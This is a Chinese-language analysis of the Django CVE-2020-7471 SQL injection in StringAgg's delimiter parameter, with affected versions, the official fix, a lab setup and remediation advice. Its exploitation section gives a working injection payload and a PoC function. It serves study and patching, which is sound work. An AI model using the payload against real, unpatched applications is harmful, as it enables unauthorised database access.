CVE-2020-7471 漏洞详细分析原理以及POC (原创)
字数 1236 2025-08-26 22:11:56

Django CVE-2020-7471 SQL注入漏洞分析与利用指南

漏洞概述

CVE-2020-7471是Django框架中的一个SQL注入漏洞,影响以下版本:

  • Django 1.11.x < 1.11.28
  • Django 2.2.x < 2.2.10
  • Django 3.0.x < 3.0.3

该漏洞存在于django.contrib.postgres.aggregates.StringAgg聚合函数中,当使用不受信任的数据作为delimiter参数时,可能导致SQL注入攻击。

漏洞原理

漏洞背景

StringAgg是Django为PostgreSQL提供的聚合函数,用于将多行数据使用指定的分隔符连接成一个字符串。其语法为:

StringAgg(expression, delimiter)

漏洞根源

问题出在delimiter参数的处理上:

  1. 在受影响版本中,delimiter参数直接拼接到SQL语句中,没有经过参数化处理
  2. 攻击者可以构造恶意的delimiter值来破坏原始SQL语句结构
  3. 这允许攻击者注入任意SQL代码,可能导致数据泄露或更严重的后果

官方修复

Django团队通过以下方式修复了该漏洞:

Value(str(delimiter))

使用Value()函数将delimiter参数作为参数化查询的一部分,而不是直接字符串拼接。

漏洞利用分析

环境要求

  • Django受影响版本
  • PostgreSQL数据库
  • 使用StringAgg聚合函数

漏洞验证步骤

  1. 正常查询示例:
results = Info.objects.all().values('gender').annotate(
    mydefinedname=StringAgg('name', delimiter="-")
)
  1. 注入单引号测试:
results = Info.objects.all().values('gender').annotate(
    mydefinedname=StringAgg('name', delimiter="'")
)

这将导致SQL语法错误,证明存在注入点。

  1. 构造恶意delimiter:
payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
results = Info.objects.all().values('gender').annotate(
    mydefinedname=StringAgg('name', delimiter=payload)
)

实际生成的SQL

漏洞版本生成的SQL语句:

SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '') AS "mydefinedname" 
FROM "vul_app_info" 
GROUP BY "vul_app_info"."gender" 
LIMIT 1 OFFSET 1

当使用恶意delimiter时,实际执行的SQL变为:

SELECT "vul_app_info"."gender", STRING_AGG("vul_app_info"."name", '-') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- ') 
FROM "vul_app_info" 
GROUP BY "vul_app_info"."gender" 
LIMIT 1 OFFSET 1

漏洞利用POC

完整利用代码示例:

def exploit():
    # 正常查询
    print("[+] 正常查询结果:")
    payload = '-'
    results = Info.objects.all().values('gender').annotate(
        mydefinedname=StringAgg('name', delimiter=payload)
    )
    for e in results:
        print(e)
    
    # 注入攻击
    print("\n[+] 注入攻击结果:")
    payload = '-\') AS "mydefinedname" FROM "vul_app_info" GROUP BY "vul_app_info"."gender" LIMIT 1 OFFSET 1 -- '
    results = Info.objects.all().values('gender').annotate(
        mydefinedname=StringAgg('name', delimiter=payload)
    )
    for e in results:
        print(e)

修复建议

  1. 升级Django到安全版本:

    • Django 1.11.28+
    • Django 2.2.10+
    • Django 3.0.3+
  2. 如果无法立即升级,可以手动应用修复:

    • 自定义StringAgg子类,确保使用Value()处理delimiter参数
  3. 避免使用用户提供的输入作为StringAgg的delimiter参数

漏洞环境搭建

测试环境配置:

  • Django 3.0.2
  • PostgreSQL 10.11-3
  • Python 3.6

环境搭建步骤:

  1. 安装依赖:pip install django==3.0.2 psycopg2
  2. 配置PostgreSQL数据库连接
  3. 创建包含StringAgg聚合函数调用的视图

完整测试环境可参考:Saferman的GitHub仓库

总结

CVE-2020-7471漏洞展示了即使在使用ORM框架时,不当的参数处理仍可能导致SQL注入风险。开发人员应当:

  1. 始终使用框架提供的安全参数化方法
  2. 及时更新框架和依赖库
  3. 对用户提供的输入保持警惕,特别是在构建数据库查询时

该漏洞特别影响那些提供数据下载功能且允许用户指定列分隔符的Django应用程序,在实际渗透测试中应重点关注此类功能点。

Django CVE-2020-7471 SQL注入漏洞分析与利用指南 漏洞概述 CVE-2020-7471是Django框架中的一个SQL注入漏洞,影响以下版本: Django 1.11.x < 1.11.28 Django 2.2.x < 2.2.10 Django 3.0.x < 3.0.3 该漏洞存在于 django.contrib.postgres.aggregates.StringAgg 聚合函数中,当使用不受信任的数据作为 delimiter 参数时,可能导致SQL注入攻击。 漏洞原理 漏洞背景 StringAgg是Django为PostgreSQL提供的聚合函数,用于将多行数据使用指定的分隔符连接成一个字符串。其语法为: 漏洞根源 问题出在 delimiter 参数的处理上: 在受影响版本中, delimiter 参数直接拼接到SQL语句中,没有经过参数化处理 攻击者可以构造恶意的 delimiter 值来破坏原始SQL语句结构 这允许攻击者注入任意SQL代码,可能导致数据泄露或更严重的后果 官方修复 Django团队通过以下方式修复了该漏洞: 使用 Value() 函数将 delimiter 参数作为参数化查询的一部分,而不是直接字符串拼接。 漏洞利用分析 环境要求 Django受影响版本 PostgreSQL数据库 使用StringAgg聚合函数 漏洞验证步骤 正常查询示例: 注入单引号测试: 这将导致SQL语法错误,证明存在注入点。 构造恶意delimiter: 实际生成的SQL 漏洞版本生成的SQL语句: 当使用恶意delimiter时,实际执行的SQL变为: 漏洞利用POC 完整利用代码示例: 修复建议 升级Django到安全版本: Django 1.11.28+ Django 2.2.10+ Django 3.0.3+ 如果无法立即升级,可以手动应用修复: 自定义StringAgg子类,确保使用Value()处理delimiter参数 避免使用用户提供的输入作为StringAgg的delimiter参数 漏洞环境搭建 测试环境配置: Django 3.0.2 PostgreSQL 10.11-3 Python 3.6 环境搭建步骤: 安装依赖: pip install django==3.0.2 psycopg2 配置PostgreSQL数据库连接 创建包含StringAgg聚合函数调用的视图 完整测试环境可参考: Saferman的GitHub仓库 总结 CVE-2020-7471漏洞展示了即使在使用ORM框架时,不当的参数处理仍可能导致SQL注入风险。开发人员应当: 始终使用框架提供的安全参数化方法 及时更新框架和依赖库 对用户提供的输入保持警惕,特别是在构建数据库查询时 该漏洞特别影响那些提供数据下载功能且允许用户指定列分隔符的Django应用程序,在实际渗透测试中应重点关注此类功能点。